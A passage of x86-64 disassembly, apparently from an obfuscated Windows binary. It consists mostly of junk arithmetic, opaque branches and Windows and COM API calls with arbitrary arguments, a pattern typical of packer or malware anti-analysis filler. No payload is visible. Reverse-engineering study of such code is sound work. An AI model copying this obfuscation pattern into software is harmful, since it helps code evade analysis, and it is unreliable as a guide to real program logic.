mov byte [rsp + 0x2b3], al
movsx eax, byte [rsp + 0x2b3]
and eax, 0xb
mov byte [rsp + 0x2b3], al
movzx eax, byte [rsp + 0x4d7]
sub eax, 0x29
mov byte [rsp + 0x4d7], al
movsx eax, word [0x1401e3380]
add eax, 0x264
mov word [0x1401e3380], ax
mov eax, dword [rsp + 0x74dc]
sub eax, 0xee
mov dword [rsp + 0x74dc], eax
movzx eax, word [rsp + 0x1694]
sub eax, 0x934
mov word [rsp + 0x2540], ax
mov eax, dword [rsp + 0x74d4]
add eax, 0x6d5f
mov dword [rsp + 0x74d4], eax
mov eax, dword [rsp + 0x74e4]
or eax, 0x780
mov dword [rsp + 0x74e4], eax
movabs rax, 0x71e18881000f63
mov rcx, qword [rsp + 0xecb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movzx eax, word [rsp + 0x2540]
shl eax, 1
mov word [rsp + 0x1694], ax
cmp dword [rsp + 0x74dc], 0xb80e
ja 0x1400132ad
mov eax, dword [rsp + 0x74e4]
cdq
mov ecx, 0x3201
idiv ecx
mov dword [rsp + 0x705c], eax
mov dword [rsp + 0x74e8], 0x62e8
mov eax, dword [rsp + 0x74d4]
mov dword [rsp + 0x74ec], eax
mov eax, dword [rsp + 0x705c]
mov dword [0x1401eee10], eax
movzx eax, byte [rsp + 0x4d7]
cmp eax, 0xf2
jl 0x140013481
lea rdx, [rsp + 0x74ec]
mov rcx, qword [rsp + 0xecc8]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x74f0], eax
movsx eax, byte [rsp + 0x2b3]
sar eax, 2
mov byte [rsp + 0x2b3], al
movzx eax, byte [rsp + 0x4d7]
and eax, 0x2c
mov byte [rsp + 0x4d7], al
movzx eax, word [rsp + 0x2540]
sub eax, 0x50d
mov word [rsp + 0x1694], ax
lea rcx, [rsp + 0x1694]
call qword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [rsp + 0x74f4], eax
movzx r8d, byte [rsp + 0x2b3]
movzx edx, word [0x1401e3380]
mov ecx, dword [rsp + 0x705c]
call fcn.1401c5c20
mov dword [rsp + 0x74f8], 0x5534
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x705c]
add ecx, eax
mov eax, ecx
cmp eax, dword [0x1401eee10]
jle 0x1400135d6
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
cmp eax, dword [0x1401eee10]
jl 0x1400135b6
movzx eax, byte [rsp + 0x2b3]
mov byte [rsp + 0x4d8], al
mov dword [rsp + 0x74fc], 0x12a0
mov eax, dword [rsp + 0x74ec]
mov dword [rsp + 0x7500], eax
cmp dword [rsp + 0x7500], 0xae572b5f
je 0x140013502
jmp 0x14001359c
movzx eax, byte [rsp + 0x4d7]
imul eax, eax, 0x62
mov byte [rsp + 0x3fd], al
mov dword [rsp + 0x7504], 0x1211
mov dword [rsp + 0x7508], 0xdd60
mov rax, qword [rsp + 0xecb8]
mov qword [rsp + 0xecd0], rax
mov dword [rsp + 0x750c], 0xd78b
movabs rax, 0x7033faabb5c483
mov qword [rsp + 0xecd8], rax
movabs rax, 0x72c64d55bcf63f
mov rcx, qword [rsp + 0xecd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov dword [rsp + 0x7510], 0xb6ba
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d8]
sub eax, ecx
mov byte [0x1401e3038], al
jmp 0x1400135b4
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x705c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
jmp 0x1400135d6
movabs rax, 0x7da653008a4d8a
mov rcx, qword [rsp + 0xc7f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
movzx eax, word [0x1401e3380]
mov word [rsp + 0x2544], ax
cmp dword [rsp + 0x74d8], 0xfbf0
jb 0x140013743
mov eax, dword [rsp + 0x74ec]
add eax, 0x78be
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xecd0]
shl rax, 1
mov qword [rsp + 0xecb8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xece0], rax
movzx eax, byte [rsp + 0x3fd]
xor eax, 0xa3
mov byte [rsp + 0x4d7], al
mov eax, dword [rsp + 0x74d8]
sub eax, 0x6b
mov dword [rsp + 0x74d8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7514], eax
movzx eax, word [rsp + 0x1694]
sar eax, 1
mov word [rsp + 0x2540], ax
movsx eax, word [0x1401e3380]
or eax, 0x5ee
mov word [rsp + 0x2544], ax
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x2b3]
and eax, ecx
mov byte [0x1401e3038], al
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x74e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
movabs rax, 0x737631b7488a07
mov rcx, qword [rsp + 0xecd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x74ec]
sub eax, 0x5344
mov dword [rsp + 0x74d4], eax
movsx eax, word [0x1401e3380]
add eax, 0x6ee
mov word [rsp + 0x2544], ax
movzx eax, byte [rsp + 0x4d7]
add eax, 0xe0
mov byte [rsp + 0x3fd], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x7518], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xece8], rax
movzx ecx, word [rsp + 0x253c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2548], ax
jmp 0x1400135e5
cmp dword [rsp + 0x750c], 0xe679
ja 0x140013b95
movabs rax, 0x7781128bcaaa84
mov rcx, qword [rsp + 0xecb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d8]
sub eax, ecx
mov byte [0x1401e3038], al
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x74e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov eax, dword [rsp + 0x74d4]
sub eax, 0x2aad
mov dword [rsp + 0x74ec], eax
movabs rax, 0x724862e9904711
mov rcx, qword [rsp + 0xecd8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
movsx eax, word [0x1401e3380]
sar eax, 1
mov word [rsp + 0x2544], ax
movzx eax, word [rsp + 0x1694]
shl eax, 4
mov word [rsp + 0x2540], ax
movabs rax, 0x731e8df28a8d3f
mov rcx, qword [rsp + 0xecd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movsx eax, word [rsp + 0x2544]
and eax, 0x173
mov word [0x1401e3380], ax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [0x1401eee10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
mov eax, dword [rsp + 0x74ec]
sub eax, 0x7e16
mov dword [rsp + 0x74d4], eax
movabs rax, 0x75d099201c9f12
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movsx eax, word [0x1401e3380]
sub eax, 0x66c
mov word [rsp + 0x2544], ax
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [0x1401e3038]
add eax, ecx
mov byte [rsp + 0x2b3], al
mov eax, dword [rsp + 0x750c]
add eax, 0xb6
mov dword [rsp + 0x750c], eax
movzx eax, byte [rsp + 0x3fd]
sub eax, 0x54
mov byte [rsp + 0x4d7], al
movzx ecx, word [rsp + 0x253c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x254c], ax
movzx eax, word [rsp + 0x2540]
and eax, 0x73b
mov word [rsp + 0x1694], ax
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x2b3]
sub eax, ecx
mov byte [0x1401e3038], al
mov eax, dword [0x1401eee10]
movzx ecx, al
mov eax, dword [rsp + 0x74e4]
sar eax, cl
mov dword [rsp + 0x705c], eax
movabs rax, 0x795784cab21554
mov rcx, qword [rsp + 0xecd8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x74ec]
or eax, 0xdd39
mov dword [rsp + 0x74d4], eax
movzx eax, word [rsp + 0x2540]
shl eax, 0xc
mov word [rsp + 0x1694], ax
movsx eax, word [0x1401e3380]
add eax, 0x518
mov word [rsp + 0x2544], ax
movzx eax, byte [rsp + 0x4d7]
and eax, 0x99
mov byte [rsp + 0x3fd], al
movzx eax, byte [rsp + 0x4d7]
sub eax, 0xe
mov byte [rsp + 0x3fd], al
movsx eax, word [rsp + 0x2544]
add eax, 0x6e5
mov word [0x1401e3380], ax
mov eax, dword [rsp + 0x74d4]
sub eax, 0x5ec2
mov dword [rsp + 0x74ec], eax
movabs rax, 0x7784a9df96b24b
mov rcx, qword [rsp + 0xecd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
movsx eax, byte [0x1401e3038]
movsx ecx, byte [rsp + 0x4d8]
add eax, ecx
mov byte [rsp + 0x2b3], al
movsx eax, word [0x1401e3380]
add eax, 0x7f4
mov word [rsp + 0x2544], ax
movabs rax, 0x7b9fe5aa1975c6
mov rcx, qword [rsp + 0xecb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
movzx eax, word [rsp + 0x2540]
sar eax, 0xd
mov word [rsp + 0x1694], ax
movzx eax, byte [rsp + 0x3fd]
xor eax, 0xee
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x2544]
shl eax, 3
mov word [0x1401e3380], ax
movabs rax, 0x736bc905e754d3
mov rcx, qword [rsp + 0xc7f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x74ec]
sub eax, 0x9b2c
mov dword [rsp + 0x74d4], eax
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x705c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
movabs rax, 0x7dce46689f6294
mov rcx, qword [rsp + 0xecd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movzx eax, word [rsp + 0x1694]
sub eax, 0x605
mov word [rsp + 0x2540], ax
movzx eax, byte [rsp + 0x3fd]
sub eax, 0xa4
mov byte [rsp + 0x4d7], al
movsx eax, word [0x1401e3380]
add eax, 0x4bf
mov word [rsp + 0x2544], ax
movabs rax, 0x7ce2454892d1cd
mov rcx, qword [rsp + 0xecb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
movzx eax, byte [rsp + 0x3fd]
sub eax, 0x3e
mov byte [rsp + 0x4d7], al
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x2b3]
add eax, ecx
mov byte [0x1401e3038], al
mov eax, dword [rsp + 0x74d4]
sub eax, 0x8407
mov dword [rsp + 0x74ec], eax
jmp 0x140013743
movzx eax, byte [rsp + 0x4d8]
mov byte [rsp + 0x4d9], al
mov eax, dword [rsp + 0x705c]
mov dword [rsp + 0x751c], eax
mov dword [rsp + 0x7520], 0x624f
mov rax, qword [rsp + 0xecd8]
mov qword [rsp + 0xecf0], rax
movabs rax, 0x719a065f4d7f79
cmp qword [rsp + 0xecf0], rax
je 0x140013c56
movabs rax, 0xb7febdfefe775db
cmp qword [rsp + 0xecf0], rax
je 0x140013bfa
jmp 0x140013d18
lea rax, [rsp + 0x1694]
mov qword [rsp + 0xecf8], rax
movsx eax, word [0x1401e3380]
movsx ecx, word [rsp + 0x2544]
add eax, ecx
mov word [rsp + 0x1240], ax
lea rcx, [rsp + 0xed00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xecb8]
mov qword [rsp + 0xed08], rax
movzx eax, word [rsp + 0x1240]
mov word [rsp + 0x2550], ax
jmp 0x140013d18
movzx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2540], ax
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x2540]
or eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
lea rdx, [rsp + 0xecf8]
mov ecx, 2
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0x7524], eax
mov rax, qword [rsp + 0xecd0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xecb8]
mov r8, qword [rsp + 0xed08]
mov rdx, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xecb8]
call fcn.1401c5a20
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x74e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov eax, dword [rsp + 0x74ec]
shl eax, 6
mov dword [rsp + 0x74d4], eax
movzx eax, byte [rsp + 0x3fd]
and eax, 0x13
mov byte [rsp + 0x4d7], al
mov dword [rsp + 0x7528], 0xc04b
cmp dword [rsp + 0x74c4], 0xd62b
je 0x140014183
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
movzx eax, byte [rsp + 0x3fd]
add eax, 0xfe
mov byte [rsp + 0x4d7], al
movzx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2540], ax
movsx eax, word [0x1401e3380]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x2544], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2544]
sub eax, ecx
mov word [0x1401e3380], ax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4d8]
sub eax, ecx
mov byte [rsp + 0x2b3], al
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x751c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov eax, dword [rsp + 0x74d4]
shl eax, 0xf
mov dword [rsp + 0x74ec], eax
movabs rax, 0x766d986539ea1f
mov rcx, qword [rsp + 0xc7f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
movzx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2540], ax
movzx eax, byte [rsp + 0x3fd]
sar eax, 1
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
movzx eax, byte [rsp + 0x3fd]
sub eax, 4
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x1240]
add eax, ecx
mov word [0x1401e3380], ax
movzx eax, word [rsp + 0x2540]
movzx ecx, word [rsp + 0x1694]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
movabs rax, 0x73015788c30a2f
mov rcx, qword [rsp + 0xc7f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0x2540], ax
movzx eax, word [rsp + 0x2540]
movzx ecx, word [rsp + 0x1694]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x2544]
add eax, ecx
mov word [rsp + 0x1240], ax
movzx eax, byte [rsp + 0x4d7]
sub eax, 0x79
mov byte [rsp + 0x3fd], al
movsx eax, byte [0x1401e3038]
movsx ecx, byte [rsp + 0x4d8]
xor eax, ecx
mov byte [rsp + 0x2b3], al
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4d8]
or eax, ecx
mov byte [0x1401e3038], al
mov eax, dword [rsp + 0x74c4]
add eax, 0x7a
mov dword [rsp + 0x74c4], eax
mov rax, qword [rsp + 0xc7f8]
shr rax, 0x1b
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x751c]
movzx ecx, al
mov eax, dword [rsp + 0x705c]
shl eax, cl
mov dword [rsp + 0x74e4], eax
mov eax, dword [rsp + 0x74d4]
and eax, 0xf61
mov dword [rsp + 0x74ec], eax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0x1694], ax
movzx eax, byte [rsp + 0x3fd]
add eax, 0xc5
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x751c]
and ecx, eax
mov eax, ecx
mov dword [0x1401eee10], eax
mov eax, dword [rsp + 0x74ec]
add eax, 0xd93e
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movabs rax, 0x7d661bfb6f978d
mov rcx, qword [rsp + 0xc7f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
movzx eax, byte [rsp + 0x3fd]
or eax, 0xd4
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
xor eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x752c], eax
mov rax, qword [rsp + 0xed08]
movzx ecx, al
mov rax, qword [rsp + 0xecb8]
sar rax, cl
mov qword [rsp + 0xecd0], rax
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x2b3]
shl eax, cl
mov byte [rsp + 0x4d9], al
movzx eax, byte [rsp + 0x3fd]
and eax, 0x7f
mov byte [rsp + 0x4d7], al
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d9]
sub eax, ecx
mov byte [0x1401e3038], al
jmp 0x140013d23
movabs rax, 0x7796fae88b239d
mov rcx, qword [rsp + 0xecd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x7520]
sub eax, 0x15
mov dword [rsp + 0x7520], eax
mov eax, dword [rsp + 0x74d4]
add eax, 0xbfb6
mov dword [rsp + 0x74ec], eax
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x751c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x2550]
add eax, ecx
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movsx eax, word [rsp + 0x1240]
movsx ecx, word [0x1401e3380]
and eax, ecx
mov word [rsp + 0x2544], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7514], eax
movzx eax, byte [rsp + 0x4d7]
add eax, 0x60
mov byte [rsp + 0x3fd], al
movzx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2540], ax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4d8]
xor eax, ecx
mov byte [0x1401e3038], al
mov rax, qword [rsp + 0xc7f8]
shl rax, 0x2a
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x74d4]
shr eax, 1
mov dword [rsp + 0x74ec], eax
cmp dword [rsp + 0x7520], 0x5c67
ja 0x140014183
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x705c]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x1401eee10]
mov edx, dword [rsp + 0x751c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x1401c5707
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, [0x1401e47d8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xed10], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
movzx ecx, word [rsp + 0x1694]
cmp eax, ecx
jge 0x14001441a
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0x2540], ax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d8]
add eax, ecx
mov byte [rsp + 0x4d9], al
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
lea rax, [rsp + 0xecc8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILIsParent
lea rax, [rsp + 0x74d4]
mov qword [rsp + 0x20], rax
mov r9d, ILFree
lea r8, [rsp + 0x751c]
lea rdx, [rsp + 0xecb8]
lea rcx, [rsp + 0x2544]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0x74f0], eax
mov rcx, qword [rsp + 0xecd0]
call fcn.1401c5950
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x74ec]
and ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
movsx eax, word [0x1401e3380]
movsx ecx, word [rsp + 0x2550]
shl eax, cl
mov word [rsp + 0x2544], ax
mov eax, dword [rsp + 0x74d4]
movzx ecx, al
mov eax, dword [rsp + 0x74ec]
shr eax, cl
mov dword [rsp + 0x7034], eax
mov eax, dword [rsp + 0x705c]
mov dword [rsp + 0x7530], eax
lea rax, [rsp + 0xc7f8]
mov qword [rsp + 0xed18], rax
movzx eax, byte [rsp + 0x4d7]
mov byte [rsp + 0x4da], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
xor eax, ecx
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xecb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov eax, dword [rsp + 0x74ec]
mov ecx, dword [rsp + 0x74d4]
add ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x1240]
and eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xc7f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x2b3]
add eax, ecx
mov byte [rsp + 0x4d8], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x7034]
add ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xecd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov eax, dword [rsp + 0x7530]
movzx ecx, al
mov eax, dword [rsp + 0x751c]
sar eax, cl
mov dword [rsp + 0x74e4], eax
mov eax, dword [rsp + 0x7034]
movzx ecx, al
mov eax, dword [rsp + 0x74ec]
shl eax, cl
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4da]
and eax, ecx
mov byte [rsp + 0x3fd], al
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2540], ax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x2544]
sub eax, ecx
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov eax, dword [rsp + 0x7528]
sub eax, 0x30
mov dword [rsp + 0x7528], eax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
lea rdx, [rsp + 0x212e8]
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7534], eax
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x74d4]
add ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x74ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x751c]
mov ecx, dword [0x1401eee10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [0x1401e3038]
sub eax, ecx
mov byte [rsp + 0x4d9], al
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc7f8]
shl rax, cl
mov qword [rsp + 0xecd8], rax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x2544]
xor eax, ecx
mov word [rsp + 0x1240], ax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4d7]
or eax, ecx
mov byte [rsp + 0x4da], al
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x2550]
sar eax, cl
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
and eax, ecx
mov word [rsp + 0x1694], ax
cmp dword [rsp + 0x7528], 0xaf3b
jae 0x1400144cd
lea rcx, [rsp + 0xed20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x74ec]
sub ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov eax, dword [rsp + 0x7510]
add eax, 0x5e
mov dword [rsp + 0x7510], eax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x74ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xc7f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x7530]
sub ecx, eax
